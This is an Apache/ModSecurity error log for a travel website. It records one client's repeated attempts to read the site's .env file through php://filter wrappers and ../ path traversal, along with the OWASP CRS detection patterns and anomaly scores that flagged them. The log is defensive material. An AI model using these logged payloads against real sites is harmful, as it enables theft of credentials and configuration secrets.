[Fri Jul 17 08:55:10.855905 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
[Fri Jul 17 08:55:10.856104 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.856432 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
[Fri Jul 17 08:55:10.857227 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.857387 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.857741 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.858097 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
[Fri Jul 17 08:55:10.858269 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.858734 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
[Fri Jul 17 08:55:10.861258 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOwAAAA0"]
[Fri Jul 17 08:55:10.862388 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOwAAAA0"]
[Fri Jul 17 08:55:10.862537 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.862839 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglivekYYQ8uns4MwlOwAAAA0"]
[Fri Jul 17 08:55:10.863289 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgj0gVnBK6wAv37w6sEQAAABQ"]
[Fri Jul 17 08:55:10.867933 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&cb=GA-h8IO81d2RFvu_Iru9W3ADNbB5VAcGoiCGHgpsY_aechm6yfocziXS5daWuvrOxtCLq_2ET-ue2g0gb_FwYMvCyfNbZXsRyOfSzV43hw3uZyM7FexA0OkiDMsrh6Y8ymwpsnkv3dJZIxYUCdgKlFahFzKMzex_0g2NFJUTUdWjJtg4MnfeR6RJKD2V0LP9GwuDPsyDibzkP_rmNUFr7FF6E0q9XYZKzJyAC7qmQu5LJME-pm92I3KHtbWXK7ufI6Z18kkL5RAhvbwaUCbkaMz1&ts=XNACWAXMVVND5SOD7MG5ZWRIATUY4LS464NN47ABMZKENWADK6UQY4NHTHVL6PKOO474WJGPAMFXWQ7FP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:10.867984 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:10.868054 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&cb=GA-h8IO81d2RFvu_Iru9W3ADNbB5VAcGoiCGHgpsY_aechm6yfocziXS5daWuvrOxtCLq_2ET-ue2g0gb_FwYMvCyfNbZXsRyOfSzV43hw3uZyM7FexA0OkiDMsrh6Y8ymwpsnkv3dJZIxYUCdgKlFahFzKMzex_0g2NFJUTUdWjJtg4MnfeR6RJKD2V0LP9GwuDPsyDibzkP_rmNUFr7FF6E0q9XYZKzJyAC7qmQu5LJME-pm92I3KHtbWXK7ufI6Z18kkL5RAhvbwaUCbkaMz1&ts=XNACWAXMVVND5SOD7MG5ZWRIATUY4LS464NN47ABMZKENWADK6UQY4NHTHVL6PKOO474WJGPAMFXWQ7FP3CDNKZ3D45PNLMFQI5VOSZD6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:10.868086 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&cb=ga-h8io81d2rfvu_iru9w3adnbb5vacgoicghgpsy_aechm6yfoczixs5dawuvroxtclq_2et-ue2g0gb_fwymvcyfnbzxsryofszv43hw3uzym7fexa0okidmsrh6y8ymwpsnkv3djzixyucdgklfahfzkmzex_0g2nfjutudwjjtg4mnfer6rjkd2v0lp9gwudpsydibzkp_rmnufr7ff6e0q9xyzkzjyac7qmqu5ljme-pm92i3khtbwxk7ufi6z18kkl5rahvbwaucbkamz1&ts=xnacwaxmvvnd5sod7mg5zwriatuy4ls464nn47abmzkenwadk6uqy4nhthvl6pkoo474wjgpamfxwq7fp3cdnkz3d45pnlmfqi5voszd6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:10.868108 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:10.868128 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:10.868520 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:10.869635 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jQAAABE"]
[Fri Jul 17 08:55:10.879432 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&sid=vPQgRDfLIBEMwikUbH1FlzbGuBICJly7i0dlPH2xALZNNCaHO9s_0pbAs7Nr7oLaT_WqwbJ_F2nWYwYLKhJsW3Y9I9s1D4h23jkFLg7SN6H2joa5zqYNVQNi2WoFv3eIbFZaNxIRgQInt5_U8sdCVBVvUxwv7sezziDnRhBqYNESRkeumzDKYNxHJvSE9tdNCKSrdD_DWkYzFZh0qeyV4rFi1D7EEkzxhu_jvokZusYpEaoTCbSk0xSp1MxGI8XTeWirq-UzO1ZmYN52u1NgPyj8&junk=KXMYVNPXX6LTTKWGJWDFLHVHKN5KGKNDQFMIGZDP2EWN5CPULFYJXDWSGT7LDOTJ6LWV6YM5H..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.879478 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.879534 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&sid=vPQgRDfLIBEMwikUbH1FlzbGuBICJly7i0dlPH2xALZNNCaHO9s_0pbAs7Nr7oLaT_WqwbJ_F2nWYwYLKhJsW3Y9I9s1D4h23jkFLg7SN6H2joa5zqYNVQNi2WoFv3eIbFZaNxIRgQInt5_U8sdCVBVvUxwv7sezziDnRhBqYNESRkeumzDKYNxHJvSE9tdNCKSrdD_DWkYzFZh0qeyV4rFi1D7EEkzxhu_jvokZusYpEaoTCbSk0xSp1MxGI8XTeWirq-UzO1ZmYN52u1NgPyj8&junk=KXMYVNPXX6LTTKWGJWDFLHVHKN5KGKNDQFMIGZDP2EWN5CPULFYJXDWSGT7LDOTJ6LWV6YM5HM5NNZ64ZY6KBLQX6PPFAINP22E..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.879575 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&sid=vpqgrdflibemwikubh1flzbgubicjly7i0dlph2xalznncaho9s_0pbas7nr7olat_wqwbj_f2nwywylkhjsw3y9i9s1d4h23jkflg7sn6h2joa5zqynvqni2wofv3eibfzanxirgqint5_u8sdcvbvvuxwv7sezzidnrhbqynesrkeumzdkynxhjvse9tdncksrdd_dwkyzfzh0qeyv4rfi1d7eekzxhu_jvokzusypeaotcbsk0xsp1mxgi8xtewirq-uzo1zmyn52u1ngpyj8&junk=kxmyvnpxx6lttkwgjwdflhvhkn5kgkndqfmigzdp2ewn5cpulfyjxdwsgt7ldotj6lwv6ym5hm5nnz64zy6kblqx6ppfainp22e..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.879600 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.879657 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.879984 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.881019 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJwAAAAc"]
[Fri Jul 17 08:55:10.881141 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
